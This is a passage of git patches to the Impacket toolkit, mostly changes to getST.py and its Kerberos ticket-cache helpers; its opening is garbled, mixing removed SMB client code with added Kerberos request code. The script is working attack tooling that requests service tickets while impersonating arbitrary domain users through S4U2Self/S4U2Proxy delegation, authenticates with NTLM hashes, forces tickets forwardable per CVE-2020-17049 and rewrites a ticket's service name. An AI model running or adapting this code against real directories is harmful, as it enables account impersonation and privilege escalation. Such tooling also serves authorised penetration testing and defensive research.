if error - """ - try: - if shareAccessMode is None: - # if share access mode is none, let's the underlying API deals with it - return self._SMBConnection.stor_file(shareName, pathName, callback) + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack('= 52: - # now send an appropriate sized buffer - try: - snapshotData = SRV_SNAPSHOT_ARRAY(self._SMBConnection.ioctl(tid, fid, FSCTL_SRV_ENUMERATE_SNAPSHOTS, - flags=SMB2_0_IOCTL_IS_FSCTL, maxOutputResponse=snapshotData['SnapShotArraySize']+12)) - except (smb.SessionError, smb3.SessionError) as e: - self.closeFile(tid, fid) - raise SessionError(e.get_error_code(), e.get_error_packet()) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - self.closeFile(tid, fid) - return list(filter(None, snapshotData['SnapShots'].decode('utf16').split('\x00'))) - - def createMountPoint(self, tid, path, target): - """ - creates a mount point at an existing directory - - :param int tid: tree id of current connection - :param string path: directory at which to create mount point (must already exist) - :param string target: target address of mount point - - :raise SessionError: if error - """ - - # Verify we're under SMB2+ session - if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: - raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED) - - fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE, - creationOption=FILE_OPEN_REPARSE_POINT) - - if target.startswith("\\"): - fixed_name = target.encode('utf-16le') - else: - fixed_name = ("\\??\\" + target).encode('utf-16le') + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - name = target.encode('utf-16le') + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - reparseData = MOUNT_POINT_REPARSE_DATA_STRUCTURE() + cipherText = tgs['enc-part']['cipher'] - reparseData['PathBuffer'] = fixed_name + b"\x00\x00" + name + b"\x00\x00" - reparseData['SubstituteNameLength'] = len(fixed_name) - reparseData['PrintNameOffset'] = len(fixed_name) + 2 - reparseData['PrintNameLength'] = len(name) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - self._SMBConnection.ioctl(tid, fid, FSCTL_SET_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL, - inputBlob=reparseData) + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - self.closeFile(tid, fid) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - def removeMountPoint(self, tid, path): - """ - removes a mount point without deleting the underlying directory + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - :param int tid: tree id of current connection - :param string path: path to mount point to remove + return r, cipher, sessionKey, newSessionKey - :raise SessionError: if error - """ + def run(self): - # Verify we're under SMB2+ session - if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: - raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED) - - fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE, - creationOption=FILE_OPEN_REPARSE_POINT) - - reparseData = MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE() - - reparseData['DataBuffer'] = b"" - - try: - self._SMBConnection.ioctl(tid, fid, FSCTL_DELETE_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL, - inputBlob=reparseData) - except (smb.SessionError, smb3.SessionError) as e: - self.closeFile(tid, fid) - raise SessionError(e.get_error_code(), e.get_error_packet()) - - self.closeFile(tid, fid) - - def rename(self, shareName, oldPath, newPath): - """ - renames a file/directory - - :param string shareName: name for the share where the files/directories are - :param string oldPath: the old path name or the directory/file to rename - :param string newPath: the new path name or the directory/file to rename - - :return: True - :raise SessionError: if error - """ - - try: - return self._SMBConnection.rename(shareName, oldPath, newPath) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def reconnect(self): - """ - reconnects the SMB object based on the original options and credentials used. Only exception is that - manualNegotiate will not be honored. - Not only the connection will be created but also a login attempt using the original credentials and - method (Kerberos, PtH, etc) - - :return: True - :raise SessionError: if error - """ - userName, password, domain, lmhash, nthash, aesKey, TGT, TGS = self.getCredentials() - self.negotiateSession(self._preferredDialect) - if self._doKerberos is True: - self.kerberosLogin(userName, password, domain, lmhash, nthash, aesKey, self._kdcHost, TGT, TGS, self._useCache) - else: - self.login(userName, password, domain, lmhash, nthash, self._ntlmFallback) - - return True - - def setTimeout(self, timeout): - try: - return self._SMBConnection.set_timeout(timeout) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def getSessionKey(self): - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.get_session_key() - else: - return self._SMBConnection.getSessionKey() - - def setSessionKey(self, key): - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.set_session_key(key) - else: - return self._SMBConnection.setSessionKey(key) - - def setHostnameValidation(self, validate, accept_empty, hostname): - return self._SMBConnection.set_hostname_validation(validate, accept_empty, hostname) - - def close(self): - """ - logs off and closes the underlying _NetBIOSSession() - - :return: None - """ + # Do we have a TGT cached? + tgt = None try: - self.logoff() + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + #ccache = CCache.loadFile(r'C:\Users\x\WIn-PADVTVG8OT8.ccache') + logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + # ToDo: Check this TGT belogns to the right principal + TGT = creds.toTGT() + tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] + oldSessionKey = sessionKey + logging.info('Using TGT from cache') + else: + logging.debug("No valid credentials found in cache. ") except: + # No cache present pass - self._SMBConnection.close_session() - -class SessionError(Exception): - """ - This is the exception every client should catch regardless of the underlying - SMB version used. We'll take care of that. NETBIOS exceptions are NOT included, - since all SMB versions share the same NETBIOS instances. - """ - def __init__( self, error = 0, packet=0): - Exception.__init__(self) - self.error = error - self.packet = packet - - def getErrorCode( self ): - return self.error - - def getErrorPacket( self ): - return self.packet - - def getErrorString( self ): - return nt_errors.ERROR_MESSAGES[self.error] - - def __str__( self ): - if self.error in nt_errors.ERROR_MESSAGES: - return 'SMB SessionError: %s(%s)' % (nt_errors.ERROR_MESSAGES[self.error]) + if tgt is None: + # Still no TGT + userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + logging.info('Getting TGT for user') + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash), + self.__aesKey, + self.__kdcHost) + + # Ok, we have valid TGT, let's try to get a service ticket + if self.__options.impersonate is None: + # Normal TGS interaction + logging.info('Getting ST for user') + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) + self.__saveFileName = self.__user else: - return 'SMB SessionError: 0x%x' % self.error + # Here's the rock'n'roll + try: + logging.info('Impersonating %s' % self.__options.impersonate) + # Editing below to pass hashes for decryption + if self.__additional_ticket is not None: + tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, + self.__kdcHost, self.__additional_ticket) + else: + tgs, cipher, oldSessionKey, sessioKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + except Exception as e: + logging.debug("Exception", exc_info=True) + logging.error(str(e)) + if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: + logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) + if str(e).find('KDC_ERR_BADOPTION') >= 0: + logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) + + return + self.__saveFileName = self.__options.impersonate + + self.saveTicket(tgs, oldSessionKey) + + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " + "Service Ticket and save it as ccache") + parser.add_argument('identity', action='store', help='[domain/]username[:password]') + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') + parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' + ' for quering the ST. Keep in mind this will only work if ' + 'the identity provided in this scripts is allowed for ' + 'delegation to the SPN specified') + parser.add_argument('-altservice', action="store", help='SPN (service/server) you want to change the TGS ticket to') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') + parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' + 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' + 'specified -identity should be provided. This allows impresonation of protected users ' + 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv) == 1: + parser.print_help() + print("\nExamples: ") + print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") + print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + if options.altservice != None and len(options.altservice.split('/')) != 2: + parser.error('argument -altservice should be specified as service/server format') + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + domain, username, password = parse_credentials(options.identity) + + try: + if domain is None: + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = GETST(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + print(str(e)) From 51983856490c46549d672e9103a9697252f6267f Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 17:16:07 +0100 Subject: [PATCH 048/163] Removing useless and errored statements and improving args handling --- examples/getST.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 12ba1e4d8..a1f7b4173 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -444,10 +444,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__no_s4u2proxy and self.__options.spn is not None: - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_UNKNOWN.value) - else: - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -706,10 +703,7 @@ def run(self): if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') - if self.__no_s4u2proxy and self.__options.spn is not None: - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - else: - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_SRV_INST.value) + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: @@ -768,7 +762,7 @@ def run(self): group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') + 'omitted it use the domain part (FQDN) specified in the target parameter') if len(sys.argv) == 1: parser.print_help() @@ -782,6 +776,12 @@ def run(self): if not options.no_s4u2proxy and options.spn is None: parser.error("argument -spn is required, except when -self is set") + if options.no_s4u2proxy and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2self") + + if options.additional_ticket is not None and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2proxy") + # Init the example's logger theme logger.init(options.ts) From 0beff9329827a84db2c4edb13eea70857b25eae9 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 17:57:19 +0100 Subject: [PATCH 049/163] Improving arguments handling --- examples/getST.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/examples/getST.py b/examples/getST.py index a1f7b4173..2ba59dc78 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -779,6 +779,10 @@ def run(self): if options.no_s4u2proxy and options.impersonate is None: parser.error("argument -impersonate is required when doing S4U2self") + if options.no_s4u2proxy and options.altservice is not None: + if '/' not in options.altservice: + parser.error("When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + if options.additional_ticket is not None and options.impersonate is None: parser.error("argument -impersonate is required when doing S4U2proxy") From 28f99c9b17e4d181835a5a674699b4ccfb1c1df6 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 12:15:56 +0800 Subject: [PATCH 050/163] Update types.py --- impacket/krb5/types.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index d6a6cbc30..ae5be3454 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,12 +137,14 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component): + def from_asn1(self, data, realm_component, name_component, alt_service=None): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] + if name_component == "sname" and alt_service!=None: + self.components = alt_service.split('/') self.realm = str(data.getComponentByName(realm_component)) return self From 3b5eb311e0b9ff6704f35f48895dacb37f743b4a Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 12:17:11 +0800 Subject: [PATCH 051/163] Update ccache.py --- impacket/krb5/ccache.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 011717210..94e7e0f61 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -455,7 +455,7 @@ def fromTGT(self, tgt, oldSessionKey, sessionKey): credential.secondTicket['length'] = 0 self.credentials.append(credential) - def fromTGS(self, tgs, oldSessionKey, sessionKey): + def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): self.headers = [] header = Header() header['tag'] = 1 @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname') + server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) tmpServer = Principal() tmpServer.fromPrincipal(server) @@ -511,6 +511,10 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential['num_address'] = 0 credential.ticket = CountedOctetString() + if alt_service != None: + decodedTGS['ticket']['sname']['name-type'] = 0 + decodedTGS['ticket']['sname']['name-string'][0] = alt_service.split('/')[0] + decodedTGS['ticket']['sname']['name-string'][1] = alt_service.split('/')[1] credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() From b426cda47069d2738be04f7f0aa5f4eb630eb55c Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 12:18:09 +0800 Subject: [PATCH 052/163] Update getST.py --- examples/getST.py | 73 ++++++++++------------------------------------- 1 file changed, 15 insertions(+), 58 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 9908123ed..f297f5878 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -79,58 +79,16 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None - self.__no_s4u2proxy = options.no_s4u2proxy - self.__alt_service = options.altservice if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') - def saveTicket(self, ticket, sessionKey): + def saveTicket(self, ticket, sessionKey, alt_service=None): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) - if self.__alt_service != None: - self.substitute_sname(ccache) + ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) ccache.saveFile(self.__saveFileName + '.ccache') - def substitute_sname(self, ccache): - cred_number = 0 - logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) - if cred_number > 1: - logging.debug("More than one credentials in cache, modifying all of them") - for creds in ccache.credentials: - sname = creds['server'].prettyPrint() - if len(sname.split(b'@')[0].split(b'/')) == 2: - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - else: - hostname = sname.split(b'@')[0].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - if '@' in self.__alt_service: - new_service_realm = self.__alt_service.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in self.__alt_service: - new_hostname = self.__alt_service.split('@')[0].split('/')[1] - new_service_class = self.__alt_service.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__alt_service.split('@')[0] - else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in self.__alt_service: - new_hostname = self.__alt_service.split('/')[1] - new_service_class = self.__alt_service.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__alt_service - new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) - logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) - creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) - logging.info('Saving ticket in %s.ccache' % new_sname.replace("/", "_")) - ccache.saveFile(new_sname.replace("/", "_") + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): logging.error("Ticket %s doesn't exist" % additional_ticket_path) @@ -338,7 +296,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey return r, cipher, sessionKey, newSessionKey - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False, alt_service=None): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() @@ -444,6 +402,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -462,8 +421,8 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) - if self.__no_s4u2proxy: - return r, cipher, sessionKey, sessionKey + if s4u2self: + return r, cipher, oldSessionKey, sessionKey tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: @@ -665,7 +624,6 @@ def run(self): tgt = None try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - #ccache = CCache.loadFile(r'C:\Users\x\WIn-PADVTVG8OT8.ccache') logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) @@ -706,7 +664,7 @@ def run(self): tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: - tgs, cipher, oldSessionKey, sessioKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, options.s4u2self, options.alt_service) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) @@ -718,7 +676,7 @@ def run(self): return self.__saveFileName = self.__options.impersonate - self.saveTicket(tgs, oldSessionKey) + self.saveTicket(tgs, oldSessionKey, options.alt_service) if __name__ == '__main__': @@ -727,14 +685,14 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' 'delegation to the SPN specified') - parser.add_argument('-altservice', action="store", help='SPN (service/server) you want to change the TGS ticket to') - parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') + parser.add_argument('-alt-service', action="store", help='change the service ticket\'s sname') + parser.add_argument('-s4u2self', action="store_true", help='only do s4u2self request') parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') @@ -773,10 +731,9 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - if options.altservice != None and len(options.altservice.split('/')) != 2: - parser.error('argument -altservice should be specified as service/server format') - if not options.no_s4u2proxy and options.spn is None: - parser.error("argument -spn is required, except when -self is set") + if options.alt_service != None and len(options.alt_service.split('/')) != 2: + logging.critical('alt-service should be specified as service/host format') + sys.exit(1) domain, username, password = parse_credentials(options.identity) try: From 30fa246e03f230283c176f7169e5c116025f262c Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 13:23:00 +0800 Subject: [PATCH 053/163] Update getST.py --- examples/getST.py | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index f297f5878..84472cd32 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -78,15 +78,17 @@ def __init__(self, target, password, domain, options): self.__kdcHost = options.dc_ip self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket + self.__alt_service = options.alt_service + self.__s4u2_self = options.s4u2self self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') - def saveTicket(self, ticket, sessionKey, alt_service=None): + def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) + ccache.fromTGS(ticket, sessionKey, sessionKey, self.__alt_service) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -296,7 +298,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey return r, cipher, sessionKey, newSessionKey - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False, alt_service=None): + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() @@ -421,8 +423,8 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) - if s4u2self: - return r, cipher, oldSessionKey, sessionKey + if self.__s4u2_self: + return r, cipher, sessionKey, sessionKey tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: @@ -664,7 +666,7 @@ def run(self): tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: - tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, options.s4u2self, options.alt_service) + tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) @@ -676,7 +678,7 @@ def run(self): return self.__saveFileName = self.__options.impersonate - self.saveTicket(tgs, oldSessionKey, options.alt_service) + self.saveTicket(tgs, oldSessionKey) if __name__ == '__main__': @@ -685,7 +687,7 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' @@ -734,6 +736,9 @@ def run(self): if options.alt_service != None and len(options.alt_service.split('/')) != 2: logging.critical('alt-service should be specified as service/host format') sys.exit(1) + if options.s4u2self == None and options.spn == None: + logging.critical('you must specify spn when s4u2self option is not used') + sys.exit(1) domain, username, password = parse_credentials(options.identity) try: From c942bafbaff51aefaa0a6d1fed209ff50b30a240 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 13:55:08 +0800 Subject: [PATCH 054/163] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 84472cd32..e635d059f 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -298,7 +298,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey return r, cipher, sessionKey, newSessionKey - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False): + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() From 